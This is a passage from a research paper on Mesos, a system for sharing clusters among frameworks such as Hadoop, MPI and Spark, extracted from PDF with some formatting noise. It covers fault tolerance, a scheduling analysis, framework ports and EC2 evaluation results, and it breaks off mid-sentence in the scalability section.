launchTask(taskDescriptor) killTask(taskId) Executor Actions sendStatus(taskId, status) Scheduler Actions replyToOffer(offerId, tasks) setNeedsOffers(bool) setFilters(filters) getGuaranteedShare() killTask(taskId) Table 1: Mesos API functions for schedulers and executors.\n3.6 Fault Tolerance\nSince all the frameworks depend on the Mesos master, it\nis critical to make the master fault-tolerant. To achieve\nthis, we have designed the master to be soft state , so that\na new master can completely reconstruct its internal state\nfrom information held by the slaves and the framework\nschedulers. In particular, the master’s only state is the list\nof active slaves, active frameworks, and running tasks.\nThis information is sufficient to compute how many re-\nsources each framework is using and run the allocation\npolicy. We run multiple masters in a hot-standby config-\nuration using ZooKeeper [4] for leader election. When\nthe active master fails, the slaves and schedulers connect\nto the next elected master and repopulate its state.\nAside from handling master failures, Mesos reports\nnode failures and executor crashes to frameworks’ sched-\nulers. Frameworks can then react to these failures using\nthe policies of their choice.\nFinally, to deal with scheduler failures, Mesos allows a\nframework to register multiple schedulers such that when\none fails, another one is notified by the Mesos master to\ntake over. Frameworks must use their own mechanisms\nto share state between their schedulers.\n3.7 API Summary\nTable 1 summarizes the Mesos API. The “callback”\ncolumns list functions that frameworks must implement,\nwhile “actions” are operations that they can invoke.\n4 Mesos Behavior\nIn this section, we study Mesos’s behavior for different\nworkloads. Our goal is not to develop an exact model of\nthe system, but to provide a coarse understanding of its\nbehavior, in order to characterize the environments that\nMesos’s distributed scheduling model works well in.\nIn short, we find that Mesos performs very well when\nframeworks can scale up and down elastically, tasks\ndurations are homogeneous, and frameworks prefer all\nnodes equally (x4.2). When different frameworks pre-\nfer different nodes, we show that Mesos can emulate a\ncentralized scheduler that performs fair sharing across\nframeworks (x4.3). In addition, we show that Mesos can\nhandle heterogeneous task durations without impactingthe performance of frameworks with short tasks ( x4.4).\nWe also discuss how frameworks are incentivized to im-\nprove their performance under Mesos, and argue that\nthese incentives also improve overall cluster utilization\n(x4.5). We conclude this section with some limitations\nof Mesos’s distributed scheduling model ( x4.6).\n4.1 Definitions, Metrics and Assumptions\nIn our discussion, we consider three metrics:\n\u000fFramework ramp-up time: time it takes a new\nframework to achieve its allocation ( e.g., fair share);\n\u000fJob completion time: time it takes a job to complete,\nassuming one job per framework;\n\u000fSystem utilization: total cluster utilization.\nWe characterize workloads along two dimensions: elas-\nticity and task duration distribution. An elastic frame-\nwork, such as Hadoop and Dryad, can scale its resources\nup and down, i.e.,it can start using nodes as soon as it\nacquires them and release them as soon its task finish. In\ncontrast, a rigid framework, such as MPI, can start run-\nning its jobs only after it has acquired a fixed quantity of\nresources, and cannot scale up dynamically to take ad-\nvantage of new resources or scale down without a large\nimpact on performance. For task durations, we consider\nboth homogeneous and heterogeneous distributions.\nWe also differentiate between two types of resources:\nmandatory and preferred. A resource is mandatory if a\nframework must acquire it in order to run. For example, a\ngraphical processing unit (GPU) is mandatory if a frame-\nwork cannot run without access to GPU. In contrast, a re-\nsource is preferred if a framework performs “better” us-\ning it, but can also run using another equivalent resource.\nFor example, a framework may prefer running on a node\nthat locally stores its data, but may also be able to read\nthe data remotely if it must.\nWe assume the amount of mandatory resources re-\nquested by a framework never exceeds its guaranteed\nshare. This ensures that frameworks will not deadlock\nwaiting for the mandatory resources to become free.2For\nsimplicity, we also assume that all tasks have the same re-\nsource demands and run on identical slices of machines\ncalled slots, and that each framework runs a single job.\n4.2 Homogeneous Tasks\nWe consider a cluster with nslots and a framework, f,\nthat is entitled to kslots. For the purpose of this analy-\nsis, we consider two distributions of the task durations:\nconstant ( i.e.,all tasks have the same length) and expo-\nnential. Let the mean task duration be T, and assume that\nframeworkfruns a job which requires \fkT total com-\n2In workloads where the mandatory resource demands of the ac-\ntive frameworks can exceed the capacity of the cluster, the allocation\nmodule needs to implement admission control.\n5Elastic Framework Rigid Framework\nConstant dist. Exponential dist. Constant dist. Exponential dist.\nRamp-up time T Tlnk T Tlnk\nCompletion time (1=2 +\f)T (1 +\f)T (1 +\f)T (lnk+\f)T\nUtilization 1 1 \f=(1=2 +\f)\f=(lnk\u00001 +\f)\nTable 2: Ramp-up time, job completion time and utilization for both elastic and rigid frameworks, and for both constant and\nexponential task duration distributions. The framework starts with no slots. kis the number of slots the framework is entitled under\nthe scheduling policy, and \fTrepresents the time it takes a job to complete assuming the framework gets all kslots at once.\nputation time. That is, when the framework has kslots,\nit takes its job \fTtime to finish.\nTable 2 summarizes the job completion times and sys-\ntem utilization for the two types of frameworks and the\ntwo types of task length distributions. As expected, elas-\ntic frameworks with constant task durations perform the\nbest, while rigid frameworks with exponential task dura-\ntion perform the worst. Due to lack of space, we present\nonly the results here and include derivations in [23].\nFramework ramp-up time: If task durations are con-\nstant, it will take framework fat mostTtime to acquire\nkslots. This is simply because during a Tinterval, every\nslot will become available, which will enable Mesos to\noffer the framework all kof its preferred slots. If the du-\nration distribution is exponential, the expected ramp-up\ntime can be as high as Tlnk[23].\nJob completion time: The expected completion time3\nof an elastic job is at most (1 +\f)T, which is within T\n(i.e.,the mean task duration) of the completion time of\nthe job when it gets all its slots instantaneously. Rigid\njobs achieve similar completion times for constant task\ndurations, but exhibit much higher completion times for\nexponential job durations, i.e.,(lnk+\f)T. This is sim-\nply because it takes a framework Tlnktime on average\nto acquire all its slots and be able to start its job.\nSystem utilization: Elastic jobs fully utilize their al-\nlocated slots, because they can use every slot as soon\nas they get it. As a result, assuming infinite demand, a\nsystem running only elastic jobs is fully utilized. Rigid\nframeworks achieve slightly worse utilizations, as their\njobs cannot start before they get their full allocations, and\nthus they waste the resources held while ramping up.\n4.3 Placement Preferences\nSo far, we have assumed that frameworks have no slot\npreferences. In practice, different frameworks prefer dif-\nferent nodes and their preferences may change over time.\nIn this section, we consider the case where frameworks\nhave different preferred slots.\nThe natural question is how well Mesos will work\ncompared to a central scheduler that has full information\nabout framework preferences. We consider two cases:\n3When computing job completion time we assume that the last tasks\nof the job running on the framework’s kslots finish at the same time.(a) there exists a system configuration in which each\nframework gets all its preferred slots and achieves its full\nallocation, and (b) there is no such configuration, i.e.,the\ndemand for some preferred slots exceeds the supply.\nIn the first case, it is easy to see that, irrespective of the\ninitial configuration, the system will converge to the state\nwhere each framework allocates its preferred slots after\nat most one Tinterval. This is simple because during a\nTinterval all slots become available, and as a result each\nframework will be offered its preferred slots.\nIn the second case, there is no configuration in which\nall frameworks can satisfy their preferences. The key\nquestion in this case is how should one allocate the pre-\nferred slots across the frameworks demanding them. In\nparticular, assume there are pslots preferred by mframe-\nworks, where framework irequestsrisuch slots, andPm\ni=1ri> x. While many allocation policies are pos-\nsible, here we consider a weighted fair allocation policy\nwhere the weight associated with framework iis its in-\ntended total allocation, si. In other words, assuming that\neach framework has enough demand, we aim to allocate\np\u0001si=(Pm\ni=1si)preferred slots to framework i.\nThe challenge in Mesos is that the scheduler does\nnot know the preferences of each framework. Fortu-\nnately, it turns out that there is an easy way to achieve\nthe weighted allocation of the preferred slots described\nabove: simply perform lottery scheduling [36], offer-\ning slots to frameworks with probabilities proportional to\ntheir intended allocations. In particular, when a slot be-\ncomes available, Mesos can offer that slot to framework i\nwith probability si=(Pn\ni=1si), wherenis the total num-\nber of frameworks in the system. Furthermore, because\neach framework ireceives on average sislots everyT\ntime units, the results for ramp-up times and completion\ntimes in Section 4.2 still hold.\n4.4 Heterogeneous Tasks\nSo far we have assumed that frameworks have homo-\ngeneous task duration distributions, i.e.,that all frame-\nworks have the same task duration distribution. In this\nsection, we discuss frameworks with heterogeneous task\nduration distributions. In particular, we consider a work-\nload where tasks that are either short and long, where the\nmean duration of the long tasks is significantly longer\nthan the mean of the short tasks. Such heterogeneous\n6workloads can hurt frameworks with short tasks. In the\nworst case, all nodes required by a short job might be\nfilled with long tasks, so the job may need to wait a long\ntime (relative to its execution time) to acquire resources.\nWe note first that random task assignment can work\nwell if the fraction \u001eof long tasks is not very close to 1\nand if each node supports multiple slots. For example,\nin a cluster with Sslots per node, the probability that a\nnode is filled with long tasks will be \u001eS. WhenSis large\n(e.g., in the case of multicore machines), this probability\nis small even with \u001e>0:5. IfS= 8and\u001e= 0:5, for ex-\nample, the probability that a node is filled with long tasks\nis 0.4%. Thus, a framework with short tasks can still ac-\nquire many preferred slots in a short period of time. In\naddition, the more slots a framework is able to use, the\nlikelier it is that at least kof them are running short tasks.\nTo further alleviate the impact of long tasks, Mesos\ncan be extended slightly to allow allocation policies to\nreserve some resources on each node for short tasks. In\nparticular, we can associate a maximum task duration\nwith some of the resources on each node, after which\ntasks running on those resources are killed. These time\nlimits can be exposed to the frameworks in resource of-\nfers, allowing them to choose whether to use these re-\nsources. This scheme is similar to the common policy of\nhaving a separate queue for short jobs in HPC clusters.\n4.5 Framework Incentives\nMesos implements a decentralized scheduling model,\nwhere each framework decides which offers to accept.\nAs with any decentralized system, it is important to un-\nderstand the incentives of entities in the system. In this\nsection, we discuss the incentives of frameworks (and\ntheir users) to improve the response times of their jobs.\nShort tasks: A framework is incentivized to use short\ntasks for two reasons. First, it will be able to allocate any\nresources reserved for short slots. Second, using small\ntasks minimizes the wasted work if the framework loses\na task, either due to revocation or simply due to failures.\nScale elastically: The ability of a framework to use re-\nsources as soon as it acquires them–instead of waiting\nto reach a given minimum allocation–would allow the\nframework to start (and complete) its jobs earlier. In ad-\ndition, the ability to scale up and down allows a frame-\nwork to grab unused resources opportunistically, as it can\nlater release them with little negative impact.\nDo not accept unknown resources: Frameworks are\nincentivized not to accept resources that they cannot use\nbecause most allocation policies will count all the re-\nsources that a framework owns when making offers.\nWe note that these incentives align well with our goal\nof improving utilization. If frameworks use short tasks,\nMesos can reallocate resources quickly between them,reducing latency for new jobs and wasted work for revo-\ncation. If frameworks are elastic, they will opportunis-\ntically utilize all the resources they can obtain. Finally,\nif frameworks do not accept resources that they do not\nunderstand, they will leave them for frameworks that do.\nWe also note that these properties are met by many\ncurrent cluster computing frameworks, such as MapRe-\nduce and Dryad, simply because using short independent\ntasks simplifies load balancing and fault recovery.\n4.6 Limitations of Distributed Scheduling\nAlthough we have shown that distributed scheduling\nworks well in a range of workloads relevant to current\ncluster environments, like any decentralized approach, it\ncan perform worse than a centralized scheduler. We have\nidentified three limitations of the distributed model:\nFragmentation: When tasks have heterogeneous re-\nsource demands, a distributed collection of frameworks\nmay not be able to optimize bin packing as well as a cen-\ntralized scheduler. However, note that the wasted space\ndue to suboptimal bin packing is bounded by the ratio be-\ntween the largest task size and the node size. Therefore,\nclusters running “larger” nodes (e.g., multicore nodes)\nand “smaller” tasks within those nodes will achieve high\nutilization even with distributed scheduling.\nThere is another possible bad outcome if allocation\nmodules reallocate resources in a na ¨ıve manner: when\na cluster is filled by tasks with small resource require-\nments, a framework fwith large resource requirements\nmay starve, because whenever a small task finishes, f\ncannot accept the resources freed by it, but other frame-\nworks can. To accommodate frameworks with large per-\ntask resource requirements, allocation modules can sup-\nport a minimum offer size on each slave, and abstain from\noffering resources on the slave until this amount is free.\nInterdependent framework constraints: It is possi-\nble to construct scenarios where, because of esoteric in-\nterdependencies between frameworks ( e.g., certain tasks\nfrom two frameworks cannot be colocated), only a sin-\ngle global allocation of the cluster performs well. We\nargue such scenarios are rare in practice. In the model\ndiscussed in this section, where frameworks only have\npreferences over which nodes they use, we showed that\nallocations approximate those of optimal schedulers.\nFramework complexity: Using resource offers may\nmake framework scheduling more complex. We argue,\nhowever, that this difficulty is not onerous. First, whether\nusing Mesos or a centralized scheduler, frameworks need\nto know their preferences; in a centralized scheduler,\nthe framework needs to express them to the scheduler,\nwhereas in Mesos, it must use them to decide which of-\nfers to accept. Second, many scheduling policies for ex-\nisting frameworks are online algorithms, because frame-\n7works cannot predict task times and must be able to han-\ndle failures and stragglers [18, 40, 38]. These policies\nare easy to implement over resource offers.\n5 Implementation\nWe have implemented Mesos in about 10,000 lines of\nC++. The system runs on Linux, Solaris and OS X, and\nsupports frameworks written in C++, Java, and Python.\nTo reduce the complexity of our implementation, we\nuse a C++ library called libprocess [7] that provides\nan actor-based programming model using efficient asyn-\nchronous I/O mechanisms ( epoll ,kqueue , etc). We\nalso use ZooKeeper [4] to perform leader election.\nMesos can use Linux containers [9] or Solaris projects\n[13] to isolate tasks. We currently isolate CPU cores and\nmemory. We plan to leverage recently added support for\nnetwork and I/O isolation in Linux [8] in the future.\nWe have implemented four frameworks on top of\nMesos. First, we have ported three existing cluster com-\nputing systems: Hadoop [2], the Torque resource sched-\nuler [33], and the MPICH2 implementation of MPI [16].\nNone of these ports required changing these frameworks’\nAPIs, so all of them can run unmodified user programs.\nIn addition, we built a specialized framework for iterative\njobs called Spark, which we discuss in Section 5.3.\n5.1 Hadoop Port\nPorting Hadoop to run on Mesos required relatively few\nmodifications, because Hadoop’s fine-grained map and\nreduce tasks map cleanly to Mesos tasks. In addition, the\nHadoop master, known as the JobTracker, and Hadoop\nslaves, known as TaskTrackers, fit naturally into the\nMesos model as a framework scheduler and executor.\nTo add support for running Hadoop on Mesos, we took\nadvantage of the fact that Hadoop already has a plug-\ngable API for writing job schedulers. We wrote a Hadoop\nscheduler that connects to Mesos, launches TaskTrackers\nas its executors, and maps each Hadoop task to a Mesos\ntask. When there are unlaunched tasks in Hadoop, our\nscheduler first starts Mesos tasks on the nodes of the\ncluster that it wants to use, and then sends the Hadoop\ntasks to them using Hadoop’s existing internal interfaces.\nWhen tasks finish, our executor notifies Mesos by listen-\ning for task finish events using an API in the TaskTracker.\nWe used delay scheduling [38] to achieve data locality\nby waiting for slots on the nodes that contain task in-\nput data. In addition, our approach allowed us to reuse\nHadoop’s existing logic for re-scheduling of failed tasks\nand for speculative execution (straggler mitigation).\nWe also needed to change how map output data is\nserved to reduce tasks. Hadoop normally writes map\noutput files to the local filesystem, then serves these to\nreduce tasks using an HTTP server included in the Task-\nTracker. However, the TaskTracker within Mesos runsas an executor, which may be terminated if it is not run-\nning tasks. This would make map output files unavailable\nto reduce tasks. We solved this problem by providing a\nshared file server on each node in the cluster to serve\nlocal files. Such a service is useful beyond Hadoop, to\nother frameworks that write data locally on each node.\nIn total, our Hadoop port is 1500 lines of code.\n5.2 Torque and MPI Ports\nWe have ported the Torque cluster resource manager to\nrun as a framework on Mesos. The framework consists\nof a Mesos scheduler and executor, written in 360 lines\nof Python code, that launch and manage different com-\nponents of Torque. In addition, we modified 3 lines of\nTorque source code to allow it to elastically scale up and\ndown on Mesos depending on the jobs in its queue.\nAfter registering with the Mesos master, the frame-\nwork scheduler configures and launches a Torque server\nand then periodically monitors the server’s job queue.\nWhile the queue is empty, the scheduler releases all tasks\n(down to an optional minimum, which we set to 0) and\nrefuses all resource offers it receives from Mesos. Once\na job gets added to Torque’s queue (using the standard\nqsub command), the scheduler begins accepting new\nresource offers. As long as there are jobs in Torque’s\nqueue, the scheduler accepts offers as necessary to sat-\nisfy the constraints of as many jobs in the queue as pos-\nsible. On each node where offers are accepted, Mesos\nlaunches our executor, which in turn starts a Torque\nbackend daemon and registers it with the Torque server.\nWhen enough Torque backend daemons have registered,\nthe torque server will launch the next job in its queue.\nBecause jobs that run on Torque (e.g. MPI) may not be\nfault tolerant, Torque avoids having its tasks revoked by\nnot accepting resources beyond its guaranteed allocation.\nIn addition to the Torque framework, we also created\na Mesos MPI “wrapper” framework, written in 200 lines\nof Python code, for running MPI jobs directly on Mesos.\n5.3 Spark Framework\nMesos enables the creation of specialized frameworks\noptimized for workloads for which more general exe-\ncution layers may not be optimal. To test the hypoth-\nesis that simple specialized frameworks provide value,\nwe identified one class of jobs that were found to per-\nform poorly on Hadoop by machine learning researchers\nat our lab: iterative jobs , where a dataset is reused across\na number of iterations. We built a specialized framework\ncalled Spark [39] optimized for these workloads.\nOne example of an iterative algorithm used in ma-\nchine learning is logistic regression [22]. This algorithm\nseeks to find a line that separates two sets of labeled data\npoints. The algorithm starts with a random line w. Then,\non each iteration, it computes the gradient of an objective\n8. . . w f(x,w) w f(x,w) x x a) Dryad b) Spark w f(x,w) x Figure 4: Data flow of a logistic regression job in Dryad\nvs. Spark. Solid lines show data flow within the framework.\nDashed lines show reads from a distributed file system. Spark\nreuses in-memory data across iterations to improve efficiency.\nfunction that measures how well the line separates the\npoints, and shifts walong this gradient. This gradient\ncomputation amounts to evaluating a function f(x;w)\nover each data point xand summing the results. An\nimplementation of logistic regression in Hadoop must\nrun each iteration as a separate MapReduce job, because\neach iteration depends on the wcomputed at the previous\none. This imposes overhead because every iteration must\nre-read the input file into memory. In Dryad, the whole\njob can be expressed as a data flow DAG as shown in Fig-\nure 4a, but the data must still must be reloaded from disk\nat each iteration. Reusing the data in memory between\niterations in Dryad would require cyclic data flow.\nSpark’s execution is shown in Figure 4b. Spark uses\nthe long-lived nature of Mesos executors to cache a slice\nof the dataset in memory at each executor, and then run\nmultiple iterations on this cached data. This caching is\nachieved in a fault-tolerant manner: if a node is lost,\nSpark remembers how to recompute its slice of the data.\nBy building Spark on top of Mesos, we were able to\nkeep its implementation small (about 1300 lines of code),\nyet still capable of outperforming Hadoop by 10\u0002for\niterative jobs. In particular, using Mesos’s API saved us\nthe time to write a master daemon, slave daemon, and\ncommunication protocols between them for Spark. The\nmain pieces we had to write were a framework scheduler\n(which uses delay scheduling for locality) and user APIs.\n6 Evaluation\nWe evaluated Mesos through a series of experiments on\nthe Amazon Elastic Compute Cloud (EC2). We begin\nwith a macrobenchmark that evaluates how the system\nshares resources between four workloads, and go on to\npresent a series of smaller experiments designed to eval-\nuate overhead, decentralized scheduling, our specialized\nframework (Spark), scalability, and failure recovery.\n6.1 Macrobenchmark\nTo evaluate the primary goal of Mesos, which is enabling\ndiverse frameworks to efficiently share a cluster, we ran aBin Job Type Map Tasks Reduce Tasks # Jobs Run\n1 selection 1 NA 38\n2 text search 2 NA 18\n3 aggregation 10 2 14\n4 selection 50 NA 12\n5 aggregation 100 10 6\n6 selection 200 NA 6\n7 text search 400 NA 4\n8 join 400 30 2\nTable 3: Job types for each bin in our Facebook Hadoop mix.\nmacrobenchmark consisting of a mix of four workloads:\n\u000fA Hadoop instance running a mix of small and large\njobs based on the workload at Facebook.\n\u000fA Hadoop instance running a set of large batch jobs.\n\u000fSpark running a series of machine learning jobs.\n\u000fTorque running a series of MPI jobs.\nWe compared a scenario where the workloads ran as\nfour frameworks on a 96-node Mesos cluster using fair\nsharing to a scenario where they were each given a static\npartition of the cluster (24 nodes), and measured job re-\nsponse times and resource utilization in both cases. We\nused EC2 nodes with 4 CPU cores and 15 GB of RAM.\nWe begin by describing the four workloads in more\ndetail, and then present our results.\n6.1.1 Macrobenchmark Workloads\nFacebook Hadoop Mix Our Hadoop job mix was\nbased on the distribution of job sizes and inter-arrival\ntimes at Facebook, reported in [38]. The workload con-\nsists of 100 jobs submitted at fixed times over a 25-\nminute period, with a mean inter-arrival time of 14s.\nMost of the jobs are small (1-12 tasks), but there are also\nlarge jobs of up to 400 tasks.4The jobs themselves were\nfrom the Hive benchmark [6], which contains four types\nof queries: text search, a simple selection, an aggrega-\ntion, and a join that gets translated into multiple MapRe-\nduce steps. We grouped the jobs into eight bins of job\ntype and size (listed in Table 3) so that we could com-\npare performance in each bin. We also set the framework\nscheduler to perform fair sharing between its jobs, as this\npolicy is used at Facebook.\nLarge Hadoop Mix To emulate batch workloads that\nneed to run continuously, such as web crawling, we had\na second instance of Hadoop run a series of IO-intensive\n2400-task text search jobs. A script launched ten of these\njobs, submitting each one after the previous one finished.\nSpark We ran five instances of an iterative machine\nlearning job on Spark. These were launched by a script\nthat waited 2 minutes after each job ended to submit\nthe next. The job we used was alternating least squares\n4We scaled down the largest jobs in [38] to have the workload fit a\nquarter of our cluster size.\n9 0 0.2 0.4 0.6 0.8 1\n 0 200 400 600 800 1000 1200 1400 1600Share of Cluster\nTime (s)(a) Facebook Hadoop Mix\nStatic Partitioning\nMesos\n 0 0.2 0.4 0.6 0.8 1\n 0 500 1000 1500 2000 2500 3000Share of Cluster\nTime (s)(b) Large Hadoop Mix\nStatic Partitioning\nMesos\n 0 0.2 0.4 0.6 0.8 1\n 0 200 400 600 800 1000 1200 1400 1600 1800Share of Cluster\nTime (s)(c) Spark\nStatic Partitioning\nMesos\n 0 0.2 0.4 0.6 0.8 1\n 0 200 400 600 800 1000 1200 1400 1600Share of Cluster\nTime (s)(d) Torque / MPI\nStatic Partitioning\nMesosFigure 5: Comparison of cluster shares (fraction of CPUs) over time for each of the frameworks in the Mesos and static partitioning\nmacrobenchmark scenarios. On Mesos, frameworks can scale up when their demand is high and that of other frameworks is low, and\nthus finish jobs faster. Note that the plots’ time axes are different ( e.g., the large Hadoop mix takes 3200s with static partitioning).\nFigure 6: Framework shares on Mesos during the macrobench-\nmark. By pooling resources, Mesos lets each workload scale\nup to fill gaps in the demand of others. In addition, fine-grained\nsharing allows resources to be reallocated in tens of seconds.\n(ALS), a collaborative filtering algorithm [42]. This job\nis CPU-intensive but also benefits from caching its input\ndata on each node, and needs to broadcast updated pa-\nrameters to all nodes running its tasks on each iteration.\nTorque / MPI Our Torque framework ran eight in-\nstances of the tachyon raytracing job [35] that is part of\nthe SPEC MPI2007 benchmark. Six of the jobs ran small\nproblem sizes and two ran large ones. Both types used 24\nparallel tasks. We submitted these jobs at fixed times to\nboth clusters. The tachyon job is CPU-intensive.\n6.1.2 Macrobenchmark Results\nA successful result for Mesos would show two things:\nthat Mesos achieves higher utilization than static parti-\ntioning, and that jobs finish at least as fast in the shared\ncluster as they do in their static partition, and possibly\nfaster due to gaps in the demand of other frameworks.\nOur results show both effects, as detailed below.\nWe show the fraction of CPU cores allocated to each\n 0 20 40 60 80 100 0 200 400 600 800 1000 1200 1400 1600CPU Utilization (%)Time (s)MesosStatic\n 0 10 20 30 40 50 0 200 400 600 800 1000 1200 1400 1600Memory Utilization (%)Time (s)MesosStaticFigure 7: Average CPU and memory utilization over time\nacross all nodes in the Mesos cluster vs. static partitioning.\nframework by Mesos over time in Figure 6. We see that\nMesos enables each framework to scale up during peri-\nods when other frameworks have low demands, and thus\nkeeps cluster nodes busier. For example, at time 350,\nwhen both Spark and the Facebook Hadoop framework\nhave no running jobs and Torque is using 1/8 of the clus-\nter, the large-job Hadoop framework scales up to 7/8 of\nthe cluster. In addition, we see that resources are reallo-\ncated rapidly ( e.g., when a Facebook Hadoop job starts\naround time 360) due to the fine-grained nature of tasks.\nFinally, higher allocation of nodes also translates into in-\ncreased CPU and memory utilization (by 10% for CPU\nand 17% for memory), as shown in Figure 7.\nA second question is how much better jobs perform\nunder Mesos than when using a statically partitioned\ncluster. We present this data in two ways. First, Fig-\nure 5 compares the resource allocation over time of\neach framework in the shared and statically partitioned\nclusters. Shaded areas show the allocation in the stat-\n10Framework Sum of Exec Times w/Static Partitioning (s) Sum of Exec Times with Mesos (s) Speedup Facebook Hadoop Mix 7235 6319 1.14 Large Hadoop Mix 3143 1494 2.10 Spark 1684 1338 1.26 Torque / MPI 3210 3352 0.96 Table 4: Aggregate performance of each framework in the mac-\nrobenchmark (sum of running times of all the jobs in the frame-\nwork). The speedup column shows the relative gain on Mesos.\nically partitioned cluster, while solid lines show the\nshare on Mesos. We see that the fine-grained frame-\nworks (Hadoop and Spark) take advantage of Mesos to\nscale up beyond 1/4 of the cluster when global demand\nallows this, and consequently finish bursts of submit-\nted jobs faster in Mesos. At the same time, Torque\nachieves roughly similar allocations and job durations\nunder Mesos (with some differences explained later).\nSecond, Tables 4 and 5 show a breakdown of job per-\nformance for each framework. In Table 4, we compare\nthe aggregate performance of each framework, defined\nas the sum of job running times, in the static partitioning\nand Mesos scenarios. We see the Hadoop and Spark jobs\nas a whole are finishing faster on Mesos, while Torque is\nslightly slower. The framework that gains the most is the\nlarge-job Hadoop mix, which almost always has tasks to\nrun and fills in the gaps in demand of the other frame-\nworks; this framework performs 2x better on Mesos.\nTable 5 breaks down the results further by job type.\nWe observe two notable trends. First, in the Facebook\nHadoop mix, the smaller jobs perform worse on Mesos.\nThis is due to an interaction between the fair sharing per-\nformed by Hadoop (among its jobs) and the fair sharing\nin Mesos (among frameworks): During periods of time\nwhen Hadoop has more than 1/4 of the cluster, if any jobs\nare submitted to the other frameworks, there is a delay\nbefore Hadoop gets a new resource offer (because any\nfreed up resources go to the framework farthest below its\nshare), so any small job submitted during this time is de-\nlayed for a long time relative to its length. In contrast,\nwhen running alone, Hadoop can assign resources to the\nnew job as soon as any of its tasks finishes. This prob-\nlem with hierarchical fair sharing is also seen in networks\n[34], and could be mitigated by running the small jobs on\na separate framework or using a different allocation pol-\nicy (e.g., using lottery scheduling instead of offering all\nfreed resources to the framework with the lowest share).\nLastly, Torque is the only framework that performed\nworse, on average, on Mesos. The large tachyon jobs\ntook on average 2 minutes longer, while the small ones\ntook 20s longer. Some of this delay is due to Torque hav-\ning to wait to launch 24 tasks on Mesos before starting\neach job, but the average time this takes is 12s. We be-\nFramework Job Type Exec Time w/ Static Partitioning (s) Avg. Speedup on Mesos Facebook Hadoop Mix selection (1) 24 0.84 text search (2) 31 0.90 aggregation (3) 82 0.94 selection (4) 65 1.40 aggregation (5) 192 1.26 selection (6) 136 1.71 text search (7) 137 2.14 join (8) 662 1.35 Large Hadoop Mix text search 314 2.21 Spark ALS 337 1.36 Torque / MPI small tachyon 261 0.91 large tachyon 822 0.88 Table 5: Performance of each job type in the macrobenchmark.\nBins for the Facebook Hadoop mix are in parentheses.\n0 120 240 360 480 600 0% 20% 40% 60% 80% 100% \nStatic partitioning Mesos, no delay sched. Mesos, 1s delay sched. Mesos, 5s delay sched. \nJob Running TIme (s) Local Map Tasks (%) Data Locality Job Running Times \nFigure 8: Data locality and average job durations for 16\nHadoop instances running on a 93-node cluster using static par-\ntitioning, Mesos, or Mesos with delay scheduling.\nlieve that the rest of the delay is due to stragglers (slow\nnodes). In our standalone Torque run, we saw two jobs\ntake about 60s longer to run than the others (Fig. 5d). We\ndiscovered that both of these jobs were using a node that\nperformed slower on single-node benchmarks than the\nothers (in fact, Linux reported 40% lower bogomips on\nit). Because tachyon hands out equal amounts of work\nto each node, it runs as slowly as the slowest node.\n6.2 Overhead\nTo measure the overhead Mesos imposes when a single\nframework uses the cluster, we ran two benchmarks us-\ning MPI and Hadoop on an EC2 cluster with 50 nodes,\neach with 2 CPU cores and 6.5 GB RAM. We used the\nHigh-Performance LINPACK [15] benchmark for MPI\nand a WordCount job for Hadoop, and ran each job three\ntimes. The MPI job took on average 50.9s without Mesos\nand 51.8s with Mesos, while the Hadoop job took 160s\nwithout Mesos and 166s with Mesos. In both cases, the\noverhead of using Mesos was less than 4%.\n6.3 Data Locality through Delay Scheduling\nIn this experiment, we evaluated how Mesos’ resource\noffer mechanism enables frameworks to control their\ntasks’ placement, and in particular, data locality. We\nran 16 instances of Hadoop using 93 EC2 nodes, each\nwith 4 CPU cores and 15 GB RAM. Each node ran a\n11map-only scan job that searched a 100 GB file spread\nthroughout the cluster on a shared HDFS file system and\noutputted 1% of the records. We tested four scenarios:\ngiving each Hadoop instance its own 5-6 node static par-\ntition of the cluster (to emulate organizations that use\ncoarse-grained cluster sharing systems), and running all\ninstances on Mesos using either no delay scheduling, 1s\ndelay scheduling or 5s delay scheduling.\nFigure 8 shows averaged measurements from the 16\nHadoop instances across three runs of each scenario. Us-\ning static partitioning yields very low data locality (18%)\nbecause the Hadoop instances are forced to fetch data\nfrom nodes outside their partition. In contrast, running\nthe Hadoop instances on Mesos improves data locality,\neven without delay scheduling, because each Hadoop in-\nstance has tasks on more nodes of the cluster (there are\n4 tasks per node), and can therefore access more blocks\nlocally. Adding a 1-second delay brings locality above\n90%, and a 5-second delay achieves 95% locality, which\nis competitive with running one Hadoop instance alone\non the whole cluster. As expected, job performance im-\nproves with data locality: jobs run 1.7x faster in the 5s\ndelay scenario than with static partitioning.\n6.4 Spark Framework\nWe evaluated the benefit of running iterative jobs using\nthe specialized Spark framework we developed on top\nof Mesos (Section 5.3) over the general-purpose Hadoop\nframework. We used a logistic regression job imple-\nmented in Hadoop by machine learning researchers in\nour lab, and wrote a second version of the job using\nSpark. We ran each version separately on 20 EC2 nodes,\neach with 4 CPU cores and 15 GB RAM. Each exper-\niment used a 29 GB data file and varied the number of\nlogistic regression iterations from 1 to 30 (see Figure 9).\nWith Hadoop, each iteration takes 127s on average,\nbecause it runs as a separate MapReduce job. In contrast,\nwith Spark, the first iteration takes 174s, but subsequent\niterations only take about 6 seconds, leading to a speedup\nof up to 10x for 30 iterations. This happens because the\ncost of reading the data from disk and parsing it is much\nhigher than the cost of evaluating the gradient function\ncomputed by the job on each iteration. Hadoop incurs the\nread/parsing cost on each iteration, while Spark reuses\ncached blocks of parsed data and only incurs this cost\nonce. The longer time for the first iteration in Spark is\ndue to the use of slower text parsing routines.\n6.5 Mesos Scalability\nTo evaluate Mesos’ scalability, we emulated large clus-\nters by running up to 50,000 slave daemons on 99 Ama-\nzon EC2 nodes, each with 8 CPU cores and 6 GB RAM.\nWe used one EC2 node for the master and the rest of the\nnodes to run slaves. During the experiment, each of 200\n0 1000 2000 3000 4000 0 10 20 30 Running Time (s) Number of Iterations Hadoop Spark Figure 9: Hadoop and Spark logistic regression running times.\n0 0.25 0.5 0.75 1 0 10000 20000 30000 40000 50000 Task Launch Overhead (seconds) Number of Nodes \nFigure 10: Mesos master’s scalability versus number of slaves.\nframeworks running throughout the cluster continuously\nlaunches tasks, starting one task on each slave that it re-\nceives a resource offer for. Each task sleeps for a period\nof time based on a normal distribution with a mean of\n30 seconds and standard deviation of 10s, and then ends.\nEach slave runs up to two tasks at a time.\nOnce the cluster reached steady-state (i.e., the 200\nframeworks achieve their fair shares and all resources\nwere allocated), we launched a test framework that runs a\nsingle 10 second task and measured how long this frame-\nwork took to finish. This allowed us to calculate the extra\ndelay incurred over 10s due to having to register with the\nmaster, wait for a resource offer, accept it, wait for the\nmaster to process the response and launch the task on a\nslave, and wait for Mesos to report the task as finished.\nWe plot this extra delay in 